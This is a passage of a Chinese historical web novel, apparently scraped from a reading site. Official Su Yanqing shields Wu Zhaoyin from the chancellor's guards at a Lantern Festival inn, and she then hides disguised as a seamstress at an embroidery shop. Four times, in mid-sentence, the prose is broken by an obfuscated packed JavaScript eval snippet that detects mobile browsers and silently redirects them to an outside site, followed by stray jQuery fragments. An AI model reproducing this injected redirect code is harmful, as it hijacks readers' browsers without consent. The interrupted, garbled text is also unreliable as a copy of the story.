“这——”众大臣闻言面面相觑，阎甫面眯眼微笑道：“你怎知你醒之前，慧娘有没有告知老夫呢？” 苏彦清点点头，似是认可的“哦”了一声，又继续道：“所以，相爷知道我醉酒了，还故意让我和佟姑娘一处，然后再一起来抓我，是么？” 阎甫申脸色红一阵白一阵，甚是难看。 刑部侍郎王汝辰见状哈哈笑道：“莫不是相爷府里的酒太过醉人，各位大人似是还没醒呢，走走走，咱们再去饮一杯。” 此时，一侍卫快步跑过来附耳低语了几句，他便神色大变，命道：“还不快去追！”。 “是。”侍卫转身轻轻摆了一下头，七八个黑衣人鱼贯出府。 “既然相爷还有要事要忙，咱们就不再叨扰了，相爷告辞。”苏彦清拱手一拜，头也不回地向外走去。 卢知年道：“相爷，你看他！” 阎甫申冷哼一声道：“怎么？你们准备留下来？” “哦不，吾等告辞，告辞。”王汝辰见机退下，其余几位大臣也跟着走了。 阎府外，见苏彦清出了府门，陈聘牵着马快步迎了上去。谁料苏彦清接过缰绳便跨步上马，丢下一句“快跟上”，便扬鞭直奔后街。 陈聘虽对苏彦清的行动摸不着头脑，但也快速翻身上马，追了上去。 刚转至后街，却见六名黑衣人手持长刀将一青色劲装的蒙面男子团团围住。突然，其中两名黑衣人猛地向蒙面男砍去，蒙面男双足一顿，腾空跃起，霎时拔高数尺，又如浮光掠影一般脚点众人之肩，跳出了包围。落地之际，蒙面男与苏彦清对视了一眼，大喝一声，“快去救她。”转身又翻转剑刃迎向身后突来的一击。 “帮他拖住。”苏彦清转头朝陈聘吩咐了一声，便又一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763201|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夹马腹，径自继续朝前。陈聘无奈地摇了摇头，翻身落马拔刀。 月华如水，静静地泻在西街上的一个偏僻的小巷子里。这可是吴昭音跑了几条长街才寻到的一个人迹罕至之处。 她躲在一个马车后面，大口大口地喘着气。忽然，身后传来一阵清晰的脚步声。吴昭音不假思索地又狂奔起来，却在跑了几步后就被身后之人拉着胳膊向前不得。 她闭了闭眼，快速地转过身，将手上的发簪朝来人狠狠刺去。恍然间，她看见一个狐面郎君将一面具轻轻地扣在自己的脸上，扬起挥簪的手在空中顿住，“苏大人?”，她认出了来人领口处的血迹。 “戴上它，跟我走。” 吴昭音乖乖地戴好面具，扯下面纱，又被苏颜清拉着一同朝西街的巷口跑去。风呼呼地刮着，将两人飞奔的衣角吹叠到了一起，两人共握发簪的手也仅隔着一寸。 吴昭音不由地发起了愣，上一次这样的急奔还是跟彦清哥哥被夫子追打的时候。彦清？眼前之人也叫彦清，可惜他姓苏，不是自己的萧哥哥。他要带自己去哪里呢？他会不会认出自己？要跟他坦白吗？不行，不能被他认出来，现在寺丞已经在找人了，大理寺已经不安全了。而且，苏彦清会不会成为第二个方大人呢？以他的秉性，生气别人骗他事小，引火上身才事大吧。 “到了。” 吴昭音随着苏彦清的步子刚跑出巷口，就瞬间被眼前之景所震惊。 长长的西街上，花灯火树，行人如织。各式各样的蟠螭灯、珠子灯、羊皮灯、纱灯……挂满了街边双廊。三五成群的姑娘们在灯下猜灯谜，几个垂髫的小童提着小圆灯、兔子灯在人群里跑来跑去，波光粼粼的河面上也漂浮着循流而下的荷花灯，宛如跌进西河的繁星。接着，璀璨的烟花在空中响了起来，把大地照得如同白昼。 吴昭音被这样夺目的光影晃得失了神，自顾自地四处赏看起来，似是快忘了自己才刚从虎口中逃脱出来。 忽然，人群里冒出了两个黑衣人的身影，他们东张西望地朝吴昭音这边走来，苏彦清迅速将她拉至街边的摊位前。 摊主看了看两人道：“两位是来逛灯会的吧？”见两人一起点点头，摊主拿起一根发簪笑道：“这位娘子的兔儿面具好生精致，我看我这月桂发簪与其甚是相配，这位公子不如让你家小娘子试试。”两人闻言面红耳赤，不过幸好都带着面具。苏彦清看了看手上已被捏变型的发簪，又看了看吴昭音，两个黑衣人恰好在他们身旁停了下来。苏彦清从摊主手上接过发簪，轻轻地插入吴昭音的发间，温声道：“就它了。”。不待摊主出口要钱，苏彦清便在摊案上放下几个碎银，又扭头看了两眼身后，发现黑衣人已经走远才拉着吴昭音走开。 走了没几步，吴昭音轻声道：“大人慢着。” 苏彦清转身回头，吴昭音伸出右手道：“大人，我的梅花簪呢？” 苏彦清看了看自己手里的簪子，笑着将它放到了吴昭音手上。吴昭音又欲取下头上的月桂簪，却被苏彦清用手按住道，“不用了。你留着吧。不知姑娘家在何处呢？” 18. 酒楼脱身（上） 苏彦清看了看自己手里的簪子，笑着将它放到了吴昭音手上。吴昭音又欲取下头上的月桂簪，却被苏彦清用手按住道，“不用了。你留着吧。不知姑娘家在何处呢？” “家？”吴昭音一怔，霎时间不知如何搪塞过去，“家在——” 苏彦清见对方支吾，主动改口道：“听姑娘口音，应该不是本地人吧？” 吴昭音浅笑着点头“嗯”了一声。 “那就奇怪了，姑娘既不是本地人，为何识得本官呢？”苏彦清语气中带着少许狐疑。 吴昭音绞着手中的纱巾，娓娓回道：“那日大人在聚仙楼查案，民女有幸见过。” 苏彦清顿住步子，侧头凝视着面具下的一双杏眼。良久，也看不见其流露出一丝闪躲，遂无奈地转过视线，温声道：“哦？原来如此。那姑娘如今宿住何处呢？” “我住在——亲友家中。”吴昭音心下暗忖，按说自己目前应该还没暴露身份，大人为何如此“穷追不舍”？难道他是在对一个陌生女子示好？不可能，苏大人应该不是见色起意之辈，更何况自己可一直蒙着面呢。莫非他不相信自己是被掳到相府的？ “姑娘不要多心，苏某并无他意，只是想着差人将你送回去。”说话间，苏彦清慢悠悠地取下面具，一张丰神俊朗的面孔霎时间出现在吴昭音眼前，凤眼生威，长睫如扇，抬眸间笑容又加深了几分。 吴昭音不由得别过了眼，视线刚好扫过街边的茶馆，突然心生一计，柔声道：“大人今日助我脱逃，又因我负伤，大人若是不弃，不如，民女请大人喝茶吧。” 苏彦清眼里闪过一抹亮色，嘴角缓缓勾起道：“这个时辰喝茶似是不妥，不如，请我吃顿饭吧。” “吃饭？大人不是已经吃过了吗？” “谁说的？走！”说罢，苏彦清便拔腿朝右前方走，吴昭音轻声唤了一声大人，奈何苏彦清兴致盎然地阔步向前。吴昭音见是机会，动了偷溜的念头，谁知又见那两个黑衣人在人群中穿梭。苏彦清站在前方回了头，指了指上方的牌匾。吴昭音顺着方向抬头一望，原来是到望月楼了，无奈地叹了口气，只得快步跟了上去。 苏彦清前脚刚踏进望月楼的门，热情的小二忙不迭地跑上前道：“哎呀，少卿大人，这上元节，您怎么来这儿了？”这小二个头不高，但面相倒也生得喜庆。 “怎么？不欢迎呀？”苏彦清径自朝三楼尽头的包厢走去。 小二一边笑一边打量着他身后的吴昭音道：“大人莫要取笑唐三了。只不过今天大掌柜的不在，小的怕怠慢了您。不知这位小娘子是……” 苏彦清侧脸一笑，解释道：“朋友。” “原来是大人的朋友，里面请里面请。”唐三殷勤地将二人迎了进去，边倒茶便问：“大人想吃点啥？” 苏彦清将面具放在桌边，还未来得及发话，便被吴昭音抢言道：“既是民女请客，那便照旧吧，依着大人常吃的来。” 唐三见苏彦清有些发愣，正欲开口探问。苏彦清却只丢下一句：“找身你的衣裳过来。” “是。”唐三点了点头便退下了，关门前还好奇地朝里面望了一眼。 “不知姑娘贵姓？” “免贵姓吴。” “哦，原来是吴姑娘。” 忽然，一声响亮的叫卖声从楼下传了上来：“蜜煎樱桃，蜜煎樱桃，软糯甘美，酸甜可口。” “大人，民女下楼买点樱桃吧。”吴昭音说着便要起身。 “你确定吗？”苏彦清看了吴昭音一眼，又望向窗边。 吴昭音走到窗边向下一望，只见三五个黑衣人正在楼下晃悠，眼见着马上就到望月楼下了。 “大人，您要的衣裳。”门口恰好响起了唐二的声音。 苏彦清站起来亲自开了门，从唐二手中接过衣裳又转身道：“过来。” 吴昭音乖乖地走了过去，苏彦清将衣服塞到吴昭音怀里道：“赶紧换上，我就在门外。”说罢便关上了房门。 吴昭音躲到屏风后面，刚褪下外衫，门外便响起陌生男子的喝声：“给我仔细地搜，不要放过任何一间屋子。哦？哈哈哈，没想到竟在这里又遇上少卿大人。” “你们是？”苏彦清假装不识，疑惑地望着眼前的黑衣侍卫队。 “哦，我是严府的护卫队长石靖，我们今晚见过的。”领头的黑衣侍卫解释道。 苏彦清故作恍然大悟道：“想起来了。你们——是来找人的？” “正是。” “那请便吧。” “是。” 苏彦清嘴上答应着，步子却没挪动半分。 石靖抱拳拱手低声道：“大人您看您这间——” “怎么？我的厢房也要搜？”苏彦清语气有些不悦。 “小的不敢，但是相爷有令，小的也不过是奉命行事。” “大哥，别跟他废话。咱们直接冲进去便是。”一旁的侍卫不耐烦道。 “嗯？”苏彦清颜色瞬间冷了下来，眉头紧蹙。 “放肆！”石靖朝那人大声呵斥道。 此时，“吱呀”一声，房门被缓缓打开了。两侍卫循声望去，只见一个跑堂打扮的男子蒙着青巾，朝苏彦清拜了拜说：“叨扰大人了，小的告辞。” “慢着！”石靖伸手拦住了吴昭音道：“露露脸吧小兄弟。” “如何？连我的人也要查？”苏彦清踱步到吴昭音身旁道。 石靖问道：“不知他是大人的什么人？” 苏彦清道：“本官有必要告知你吗？” 石靖上下打量着吴昭音，浅笑道：“这位兄弟蒙面夜行，莫非是大理寺的暗探？罢了，没想到大人此时还在办案，真是搅扰。”说完伸手作请状。 吴昭音正欲向前，苏彦清又喊道：“等等。你还有东西在本官手上。” 吴昭音心里清楚，苏彦清这般说辞是怕那黑衣侍卫趁机追了出来。但若留下，也必会暴露身份，两相为难之际，吴昭音还是咬咬牙，头也不回地下了楼。 石靖忍俊不禁道：“大人这属下倒还有些性子。” 吴昭音下楼后将怀里的梅花簪交给了前台的唐三，快语道：“少卿大人的饭钱。”说完转身便走，却迎面又撞到了一黑衣人。那人骂道：“走路没长眼啊。”唐三连忙将簪子揣进口袋，满脸堆笑地从柜台里面跑出来道：“几位官爷也是相府的人吧？你们的人在上面呢。” 几位黑衣侍卫看了看唐三和吴昭音，一言不发地匆匆上了楼，等唐三转过头，吴昭音已经消失在店门口。 几名黑衣人上楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763202|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一眼便看到了苏彦清，其中一人附在石靖耳边小声嘀咕了几句。 “哦？”石靖瞬间瞪大了眼睛，看了看苏彦清，自言自语道：“不好。” 他们正欲下楼，却被苏彦清拦住去路。厢房门正对着楼梯口，端着食案的跑堂站在楼梯中段瑟瑟发抖，神色慌张道：“大人，您的菜。” 苏彦清用眼神示意跑堂继续上楼，又笑着对着几个侍卫道：“几位看我这菜如何？” 石靖握了握手中的刀柄，看都不看一眼便道：“好菜。” 苏彦清笑盈盈道：“既然方才几位吓走了我的客人，那不得留下来陪我喝上几口。” “还望大人海涵，吾等有要务在身，改日再请大人吃酒。”石靖边说边找着空隙下楼，却被苏彦清堵得死死的。 苏彦清对跑堂说了句：“把菜送进去。”又道：“不知几位要找何人？” “怎么？大人为何如此感兴趣？竟频频阻拦卑职。”石靖咬着牙，用鼻孔呼着气。 “哦?此话怎讲?” 方才上楼的侍卫们中有人出声道：“大人刚刚还和您的捕头在相府后街对我们大打出手，不是么？” “本官？大打出手？” “大人是没动手，可您眼见着您的捕头拔剑了。”又一黑衣侍卫道。 苏彦清点点头道：“哦，原来是你们。本官夜里看不清楚，只想着先将你们拉开，再问清缘由。怎么？尔等在街上持刀械斗，大理寺还过问不得？况且，你们既认出了本官，为何不止戈相告，禀明实情呢？” “这——”那侍卫一时语塞。 石靖赔笑道：“大人勿怪，许是他们一开始也没认出来。听小的们说那人喊了一句“快去救他”，大人便独自跑了，莫非——”石靖抬眼看了一下苏彦清，“大人认识我们所找之人？” 苏彦清面不改色地反问：“你们找谁？” 石靖道：“实不相瞒，我们在找一个从府里逃出去的侍妾。” 旁边的侍卫抱怨道：“大哥，别废话了，等你们说完，人家早跑了。”此人说完便走到侧边栏杆，翻身跃下楼梯，其余几人纷纷效仿。可他们没下几步便节节后退，倒逼得苏彦清也退到了厢房门口。 苏彦清伸头望了一眼，只见陈聘目光炯炯地拾级而上，身后还跟着几个捕快。 眼见着双方又要拔刀而向，苏彦清立马喊道：“且慢，今夜应是上元良宵，吾等皆是公门中人，还应体恤民情，少些激斗，免得殃其无辜。这样，本官问你们三个问题，若你们答对了，本官这就回避。” 石靖道：“大人请问。” 苏彦清推开房门，坐了下来，半晌才道：“方才，你们在相府后街围殴的那蒙面人，不知他所犯何事？” 石靖进了厢房扫视了一眼道：“回大人，那人掳走了相爷的侍妾。” 苏彦清又倒了杯水，放到对面桌边道：“哦？可你刚刚说那是从府里逃出去的侍妾。怎么又是逃？又是掳的？” 门外一侍卫没好气道：“大人，这是相府的私事，您无权干涉吧。” 苏彦清笑了笑，继续说：“好。那第二个问题：既然你们说她是相府侍妾，请问可有她的卖身书契?” “这个——”众侍卫你看看我，我看看你，不知如何作答。 19. 酒楼脱身（下） “这个——”众侍卫你望望我，我看看你，不知如何作答。 石靖忙道：“大人，这种东西，小的们怎会随身携带?” “正是，大人切莫强人所难呀。”“对呀对呀。”其他侍卫纷纷附和。 苏彦清悠悠地喝了口茶道：“那她原籍何处?姓什么?叫什么名字?” “这——“众侍卫又陷入沉默。 “怎么？尔等作为相爷的近身护卫，竟连府中侍妾叫什么都不知道?” “姓王，她姓王。”一侍卫抢话道。 “对对对。”其他人又附和道。 “那名字呢？这样，你，还有你，过来说一下名字。”苏彦清指出了两个离得最远的侍卫。 两侍卫闻言便同向苏彦清走来，苏颜清指着其中一个道：“你等会，让他先说。”被指的那名侍卫冷哼道:“大人可是在考我们？吾等也是奉命行事，大人何故如此咄咄逼人呢?这又不是你的大理寺。” “嗯?”陈聘怒目圆瞪，持剑又逼上一步。 石靖见状抱拳俯首道：“大人，其实——那侍妾是新来的，卑职们也不清楚她具体叫什么。” 苏彦清把玩起手中的面具道：“哦？是吗？那你们无凭无证，如何能寻到她呢？” 一侍卫又抢话道：“那小娘子生得貌美，在人堆里一眼便能望出。”其身旁几个侍卫亦一脸奸笑。 苏彦清眼神犀利地扫了一下众人，侍卫们迅速敛起笑色。苏彦清又缓缓道：“那可千万别抓错人了。” 有人又问“大人，能问第三个问题吗？” 苏彦清站起来踱了几步，又停下道:“那女子既是逃走，可是犯了什么事？” “那倒没有。”“她偷了东西。”“她忤逆犯上…… 一时间，几名侍卫众说纷纭，各执一词。 苏彦清忍不住笑了出来，侍卫们立马噤声，面面相觑。 “真有意思。此女既犯下诸多罪状，尔等竟连人家姓名都不知，教人如何信服?”众侍卫闻言不禁握拳，一个个面露忿色。 苏彦清忽然正色道：“不如这样，你们今日先回去，明日带着这侍妾的卖身书契来大理寺，我再将那女子的样貌画出来，广发缉令，想必定能为相爷寻得此人。” 侍卫们无可奈何，不发一言。 苏彦清冷道：“怎么？在尔等心中，我朝的大理寺还不敌你们几个相府的犬牙？” 石靖佯笑道：“非也非也，只是如此小事，怎可劳烦大人呢？” “诶，怎会是小事呢？石护卫想想，相爷如此兴师动众，想必那女子偷的东西定是贵重，更何况，若那侍妾是被人暗插的奸细，又与那劫掳之人沆瀣一气，岂不要误了大事。再者，若尔等错抓了人，那我大理寺也不能坐视不管。” 石靖叹了口气道：“既然大人执意相助，那便有劳了。走！我们回府。” 陈聘顺着楼梯侧身向上，与下楼的护卫队擦肩而过。 “大人，这个石靖倒是有点脑子。”陈聘喝了口水道。 “嗯。你去盯着他们。” 陈聘惊讶道：“大人！我才歇口气。” 苏彦清笑着拍拍其肩道：“快去快回。” 陈聘虽是无奈，但仍带着几个捕快下了楼。 “在此等你——”苏彦清朝楼下喊了一声便走向了窗边，望着陈聘远去的背影若有所思。 没过多久，唐三又端着食案送菜进来。 苏彦清回身道：“都端走吧，待会再上。”他边说边将一锭银子置于桌上。 唐三见状忙道：“大人，刚刚那娘子已经付过了。” “哦？”苏彦清有些诧异。 唐三将袖里的梅花簪递给苏彦清道：“她给的这个。” 苏彦清见到簪子，眉头微微上扬起来，又抬眸道：“她可留下什么话？” “那倒没有。”唐三见苏彦清看着簪子出神，弱弱道：“那这银子。” “拿去。对了，拿把镊子过来。” 唐三收起银锭又笑道：“小的看这簪子工艺精细，大人又何必自己动手，对街的金石斋还未打烊呢。” 苏彦清拿着金簪左右看了看，簪柄细长，但已折弯。簪头系梅枝造型，上挂三朵大小不一的梅花，其中一朵已几近断裂。另有几串流苏从梅枝上悬垂而下，下方挂着几颗珍珠和玉坠。 “好吧。”苏彦清拿着金簪下了楼，唐三端着食案不紧不慢地跟着。 金石斋铺子本就不大，因夹在成衣铺和医馆之间，更显逼仄。苏彦清进门时，掌柜的正低头捶打着手上的银条。 “掌柜的，这金簪可还能修复？”苏彦清将金簪放在案上。 掌柜拾起瞅了瞅，又看了看苏彦清，微笑道：“可以。” 那掌柜看起来年逾半百，面白微须，脊背略显弯曲，衣着并不华丽。见他盯着发簪的眉头越拧越紧，苏彦清好奇道:“那明日可能取回?” 见掌柜的不再回话，苏彦清又问：“怎么？很难么？” 掌柜倏地舒展了眉头道：“不是。后日便可来取。老朽只是很多年不见这等样式了。” 苏彦清疑惑道:“多年不见?” 老掌柜点点头:“是啊，这其实是支步摇，并非普通的簪钗。看样子应是十多年前年轻女子的款式，临安早就不流行了。” “十多年前？”苏彦清顺势坐在了柜台外的楠木鼓凳上。 “正是。不过这步摇的工艺甚好，您看这柄上的浮雕和梅枝上的镂雕，应该并非出自一般的街头匠人之手。再看这流苏上的珍珠，个头虽不大，但平滑多彩，浑圆细腻。若老朽没猜错的话，应是南珠。” “南珠？可是广南西路一代年年进贡的南珠？”苏彦清摸了摸流苏道。 “正是。这南珠虽不及东珠为皇室所专爱，但眼下平民百姓用的极少。嗨，大人学识渊博，老朽说这些干啥呀。”老掌柜讪讪笑道。 苏彦清摆手道：“不，老掌柜，万般皆学问，不耻相师耳！对了，不知阁下贵姓。” “免贵姓张。” “原来是张老板。您接着说…… 夜市上的人流渐渐稀少，金石斋中二人却相谈甚欢。从簪钗衍变到雕镂技艺，从甄选珠玉之法到临安城各大铺子的进货门径，无一落下。 陈聘的马嘶声从金石斋门外响起时，钟楼已打过三更鼓。他在门外试探性地唤了一声“大人”。苏彦清不用回头也知是他，遂起身向张掌柜拜别：“苏某还有要事在身，后日再来叨扰。” “大人?公子是?苏彦——你是少卿大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763203|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，大人请稍候，待老朽开个凭据。”掌柜说着就进了内堂，等他拿着纸条出来时，苏彦清已然离去。 陈聘将马绳抛给了唐三，快步紧跟上苏彦清:“大人，您进这首饰铺子作甚？” “没事。其他人呢？” “都回去了。” 两人三步并作两步地上了楼。陈聘一边关门一边又问：“大人，您救的到底是谁？” “先说说你的情况。”苏彦清给陈聘倒了杯茶。 陈聘端起茶盏一饮而尽，低声道：“大人让我救的那人武功并不在我之下。那群侍卫先是不愿与我们缠斗，但我们一路追击，抢了他们好几人的兵器。后来，一些巡逻的兄弟认出了我，那人不待我问便飞檐而走了。” 此时，唐三刚好送菜上来，苏彦清将一碗红烧乳鸽端到陈聘面前道：“无妨。我的记号只留到西街，你是如何找到这的？” “那还要感谢唐掌柜呢。”陈聘说着便大口地嚼起了鸽肉。 唐三咧着嘴，目光炯炯道：“我见陈捕头牵着马从门外经过，又想着楼上那批不知轻重的小子，便忙将捕头招呼了进来。” 苏彦卿向唐三举杯道:“以茶代酒，苏某今日还真要多谢唐掌柜了。” “嘿，大人就别取笑我了，以您和咱望月楼的情谊谈何谢字啊？二位慢慢吃，还有一个菜。”唐三笑眯眯地走了出去。 见唐三走远，陈聘低语：“大人，莫非你今晚救的真是相府的姬妾？” 苏彦清抬头看了一眼陈聘道：“不是。” 陈聘停下扒饭，疑惑道：“如此大费周章，总不会是找个丫鬟吧？他们从这走后又搜了十几条街，尤其是客栈，不过好在什么也没找着。她到底是谁呀？” 苏彦清听得心惊，筷子上的菜都没夹稳，含糊低语：“一个——被强掳的姑娘。” “哦——咱们认识吗？” 苏彦清点了点头，又摇了摇头，令石靖摸不着头脑。最后他喃喃道：“也许吧。还得，再查查。” 话分两头。吴昭音从望月楼脱身后，便马不停蹄地向吴宅奔去。她心里清楚，此时的吴宅也必定危机四伏。若此时回去，非但自己性命难保，就连穆管家他们也要无辜遭难。 因此，她先是沿途寻到了一棵榉树，趁四下无人时，她将榉树皮剥下来小心地敷在了自己右眼角下。不消片刻，一个碗底大的紫痕便赫然显映在其颧骨处，看起来好似一个触目惊心的胎记。 接着，她又用柳树枝编了几个藤结，待她走至吴宅附近的巷子时，她先将几片白纱系在了略矮的砖檐上，又在两边的墙角依次撒下藤结。 做好这些之后，她不禁深深地吸了口气。突然，几个人鬼鬼祟祟地走进巷子里。 “可恶，竟连个人影都没有。” “是啊，寺丞大人定要怪罪，要不咱再回去等等。” “要去你去。” “真是奇哉怪也，莫非有人通风报信不成?” “嘘，少言几句，大人叫我们不要打草惊蛇。” …… “寺丞?”躲在暗处的吴昭音定睛一看，那几人虽着寻常百姓的衣裳，但身后却背着大理寺的官制佩刀。只此一眼，吴昭音便心下了然，待几人走远后，她绕过巷子，警惕地向东街走去。 20. 月叩春阁 月光碎成银箔，铺满临安夕水街的青石板。吴昭音立在"席春阁"门前，青布粗衫的袖口被夜露浸得微潮。她抬手叩响门环，指节起落间没有半分颤抖——方才从望月楼悄然逃离，现在宰相府又派着两拨人在找她，此刻身后是否还有追兵？她不敢回头看，只能将身上的小厮衣服裹得更紧了。 "吱呀——" 门开一线，暖黄的灯光裹着皂角香漫出。花蓉掌柜立在门内，手中琉璃灯的光晕映着她月白素裙，鬓边珍珠花钿在光影里轻轻晃动。她望着眼前的青衫身影，眸光在对方脸颊上的乌痕处顿了顿："吴公子？你的脸？你怎么……？" 吴昭音闪身进门，反手闩上门闩，才摘去帽子。月光透过窗棂，照亮她束发的青带，也映出她削瘦却挺直的肩线。"花掌柜，"她声线刻意压低，"今夜我不是来卖绣品的。今夜……想求掌柜容我借住几日。" 花蓉将灯放在织机上，机杼上未完成的缠枝莲在灯下泛着微光。她打量着吴昭音穿得不合体的衣服。吴昭音继续说道："不瞒掌柜，我……"她压低声音，余光扫着门外晃过的灯笼影，"今早在径山寺，家姐亲自给人送绣品时，不慎被宰相府的人撞见。他们想将姐姐掳走，我拼了命将姐姐送出了城，自己眼下也不得不东躲西藏……我一个外乡人，实在没处可去……"她顿了顿，从袖中摸出随身带手帕，"小生跟姐姐偷学过，这是我的手艺，若花姐姐看得上又能收留，我每日多绣两幅抵房钱，绝不白吃白住。" 花蓉接过手帕，指尖拂过松针的针脚，忽然轻叹一声："公子可知，这京城的风，最会往漏风的墙缝里钻。"她没有追问，只将手帕放在案上，引吴昭音入内堂西侧的耳房。 耳房里堆满了云锦，花蓉推开暗格时，递过一盏琉璃灯："在阎相眼皮子底下，藏得了一时，藏不了一世。这几日你先在此住下，日后可要自己想法儿。” 话音未落，门外突然传来靴底蹭地的声响，伴随着粗哑的问话："花掌柜的，可曾见过个白衣胜雪的姑娘？或是见过位……秀气书生？" 吴昭音浑身一僵，下意识往暗格里缩。花蓉却按住她的肩，低声道："莫慌。"她转身走向门口，掀起门帘时故意让琉璃灯的光晃过对方眼睛："官爷说笑了，店里打烊许久，早就不见客了。" 石靖探头扫了眼屋内道：“是么？” “怎么，不相信？那就进来查查。”花掌柜慵懒道。 一行人轻步走进来，见满是织机布匹，石靖小心地环顾着阁楼道，“楼上是？” “楼上是库房，要查可以，但是若是有人手脚不干净，偷拿或者损坏了京里各位大人订的绣品，奴家可没那么多脑袋。这样吧，石大哥，我只信得过你，你一个人上去。”其他人听完面露愠色。石靖摆摆手道：“罢了罢了，我们撤吧。”说罢边带着手下走出了席春阁。 花蓉掩上门，看着石靖的人走远了回到暗格。只见吴昭音躲在屏风后面，脸色煞白。 "我方才说躲不是长久之计，我这里常跟阎府打交道，你若是以真面目示人，定然还是会被发现。" “可我这……”吴昭音摸了摸自己用榉树皮伪造的胎记。 “这还不够。”说着便拉着吴昭音往别处走。烛火下，少女眉眼间尚带着未褪尽的惊惶。“姑娘莫怕，”花掌柜捻起一支细笔，沾了些特制的青黛。 姑娘？吴昭音心里咯噔一下，“你……？”她忍不住出声。 笔尖轻颤，花蓉玉手轻抬，在少女右颊下方点出一颗豆大的墨痣。那青黛膏混了草木汁液，色泽沉暗，乍一看竟似天生的一般，生生将原本清丽的容貌添了几分粗陋。“如今这般，走在街上也不会有人多瞧两眼了。”花掌柜放下笔，指了指窗边的绣架，“我这绣坊虽小，却也能容你安身。你且扮作外地来的绣娘‘阿紫’，每日帮我打理绣活。”见吴昭音仍满眼狐疑，花掌柜摸摸吴昭音的脸继续道：“自打第一眼见到你，我便知道你是女子了，这世道不太平，有这样一张脸确实容易引来祸事，我想你定是有你的苦衷，你不说没关系。” 吴昭音张了张嘴，欲言又止。望着镜中陌生的自己，指尖抚过那颗突兀的痣，眼底泛起湿意。如今她已别无选择，只能走一步看一步了。花掌柜递过一方素绢：“不过，我也有事要拜托与你。”说着展开一幅画稿，上面是百鸟朝凤的繁复图样，彩凤振翅，群鸟环绕，针脚需得细如牛毛，配色更是考究。“这图我收了多年，本想着有机会能献给圣上，总寻不到能绣出神韵的人。如今，有人求购了这个图样，你若肯下功夫，待风波过了，我便助你出城……” 这一晚的吴昭音辗转难眠。阁楼的织机被风吹动的轻响在堂中回荡，她躺在暗格里的锦缎上，将绣囊贴在胸口，沉沉地闭上眼睛。如今最让她的担心的是珠儿和老管家，不过，只要自己不现身，他们就还能被留活口。至于苏彦清那边，日后相见再编个说法。再就是那荒淫无度的阎甫申，想他平日里抢掠无数，兴许再过几日，便会忘了此事。总之，现在最主要的就是消失一阵子…… 从这一夜过后，席春阁里便多了个沉默寡言的绣娘阿紫。她的绣房独独被安排在了阁楼顶层，平常鲜被打扰。偶有其他绣娘上楼拿货时会忍不住瞥她一眼，只见她每日只知道低头坐在窗边。飞针走线间，丝线在素缎上渐渐勾勒出翎羽的纹路。那颗墨痣藏在低垂的眼睫下，随着她凝神的模样轻轻晃动。百鸟朝凤的绣样耗去了她十多日的晨昏，凤凰的金羽要用捻金线一丝一丝盘绕，孔雀的尾屏需得调配出十几种蓝绿丝线过渡。花掌柜有时会端来热茶，看她指尖在绣绷上翻飞，只淡淡道：“不急，慢慢来。” 窗外的梨花落了又开，当最后一根孔雀蓝的丝线穿过缎面，那只振翅的凤凰仿佛要从绣品上飞出来时，花掌柜捧着绣品看了许久，才叹道：“真是可惜了这好手艺啊。” 另一边，自那夜之后，苏彦清每日摩挲着案头的梅花簪，指尖蹭过簪头雕着的三朵梅花——那是她溜走时留下的，簪身还留着凤仙花的香气。黄昏的雨敲在窗棂上，他望着案头摊开的卷宗，墨字间忽然浮出她替她簪发的模样，金簪挑开她额前碎发时，簪尾流苏扫过她耳垂，坠着的南珠散发着月色般的光芒，就像她的脸庞一样。 “大人，派出去的人递回消息了。”陈聘的声音惊飞了梁上栖息的雨燕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763204|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展开的信笺上只有一行小字：“宰辅寻芳踪四海，众随暗踵无处逢。”苏彦清松了一口气道“至少他们也没找到。”他将金簪凑到烛火前，火光照着簪身，隐隐显出一个宽扁的“天”字。 “那大人，咱们还找吗？” 苏彦清放下簪子道：“先不找吧。” “哦，大人，还有一事，最近寺丞大人似与一些江湖人士来往？” “江湖人士？” “对。不是咱们衙门的兄弟。有人说他们多次派人去往吴园，就是武公子的住宅。” 苏彦清眸子里浮起一丝不解：“吴园？” 